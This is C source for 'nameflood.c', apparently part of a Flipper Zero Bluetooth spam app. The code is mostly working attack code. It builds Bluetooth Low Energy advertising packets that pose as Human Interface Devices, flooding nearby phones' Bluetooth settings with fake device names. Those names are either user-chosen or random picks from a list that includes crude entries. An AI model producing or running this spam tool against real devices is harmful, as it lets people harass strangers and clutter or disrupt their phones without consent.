nameflood.c 3.9 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142
  1. #include "nameflood.h"
  2. #include "_protocols.h"
  3. // Hacked together by @Willy-JL
  4. static const char* names[] = {
  5. "Assquach💦",
  6. "Flipper 🐬",
  7. "iOS 17 🍎",
  8. "Kink💦",
  9. "👉👌",
  10. "🔵🦷",
  11. };
  12. static const uint8_t names_count = COUNT_OF(names);
  13. static const char* get_name(const Payload* payload) {
  14. UNUSED(payload);
  15. return "NameFlood";
  16. }
  17. static void make_packet(uint8_t* _size, uint8_t** _packet, Payload* payload) {
  18. NamefloodCfg* cfg = payload ? &payload->cfg.nameflood : NULL;
  19. const char* name;
  20. switch(cfg ? payload->mode : PayloadModeRandom) {
  21. case PayloadModeRandom:
  22. default:
  23. name = names[rand() % names_count];
  24. break;
  25. case PayloadModeValue:
  26. name = cfg->name;
  27. break;
  28. }
  29. uint8_t name_len = strlen(name);
  30. uint8_t size = 12 + name_len;
  31. uint8_t* packet = malloc(size);
  32. uint8_t i = 0;
  33. packet[i++] = 2; // Size
  34. packet[i++] = 0x01; // AD Type (Flags)
  35. packet[i++] = 0x06; // Flags
  36. packet[i++] = name_len + 1; // Size
  37. packet[i++] = 0x09; // AD Type (Complete Local Name)
  38. memcpy(&packet[i], name, name_len); // Device Name
  39. i += name_len;
  40. packet[i++] = 3; // Size
  41. packet[i++] = 0x02; // AD Type (Incomplete Service UUID List)
  42. packet[i++] = 0x12; // Service UUID (Human Interface Device)
  43. packet[i++] = 0x18; // ...
  44. packet[i++] = 2; // Size
  45. packet[i++] = 0x0A; // AD Type (Tx Power Level)
  46. packet[i++] = 0x00; // 0dBm
  47. *_size = size;
  48. *_packet = packet;
  49. }
  50. enum {
  51. _ConfigExtraStart = ConfigExtraStart,
  52. ConfigName,
  53. ConfigInfoSettings,
  54. ConfigCOUNT,
  55. };
  56. static void config_callback(void* _ctx, uint32_t index) {
  57. Ctx* ctx = _ctx;
  58. scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index);
  59. switch(index) {
  60. case ConfigName:
  61. scene_manager_next_scene(ctx->scene_manager, SceneNamefloodName);
  62. break;
  63. case ConfigInfoSettings:
  64. break;
  65. default:
  66. ctx->fallback_config_enter(ctx, index);
  67. break;
  68. }
  69. }
  70. static void extra_config(Ctx* ctx) {
  71. Payload* payload = &ctx->attack->payload;
  72. NamefloodCfg* cfg = &payload->cfg.nameflood;
  73. VariableItemList* list = ctx->variable_item_list;
  74. VariableItem* item;
  75. item = variable_item_list_add(list, "Display Name", 0, NULL, NULL);
  76. variable_item_set_current_value_text(
  77. item, payload->mode == PayloadModeRandom ? "Random" : cfg->name);
  78. variable_item_list_add(list, "See in phone BT settings", 0, NULL, NULL);
  79. variable_item_list_set_enter_callback(list, config_callback, ctx);
  80. }
  81. static uint8_t config_count(const Payload* payload) {
  82. UNUSED(payload);
  83. return ConfigCOUNT - ConfigExtraStart - 1;
  84. }
  85. const Protocol protocol_nameflood = {
  86. .icon = &I_ble_spam,
  87. .get_name = get_name,
  88. .make_packet = make_packet,
  89. .extra_config = extra_config,
  90. .config_count = config_count,
  91. };
  92. static void name_callback(void* _ctx) {
  93. Ctx* ctx = _ctx;
  94. Payload* payload = &ctx->attack->payload;
  95. payload->mode = PayloadModeValue;
  96. scene_manager_previous_scene(ctx->scene_manager);
  97. }
  98. void scene_nameflood_name_on_enter(void* _ctx) {
  99. Ctx* ctx = _ctx;
  100. Payload* payload = &ctx->attack->payload;
  101. NamefloodCfg* cfg = &payload->cfg.nameflood;
  102. TextInput* text_input = ctx->text_input;
  103. text_input_set_header_text(text_input, "Press back for random");
  104. text_input_set_result_callback(
  105. text_input, name_callback, ctx, cfg->name, sizeof(cfg->name), true);
  106. text_input_set_minimum_length(text_input, 0);
  107. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewTextInput);
  108. }
  109. bool scene_nameflood_name_on_event(void* _ctx, SceneManagerEvent event) {
  110. Ctx* ctx = _ctx;
  111. Payload* payload = &ctx->attack->payload;
  112. if(event.type == SceneManagerEventTypeBack) {
  113. payload->mode = PayloadModeRandom;
  114. }
  115. return false;
  116. }
  117. void scene_nameflood_name_on_exit(void* _ctx) {
  118. Ctx* ctx = _ctx;
  119. text_input_reset(ctx->text_input);
  120. }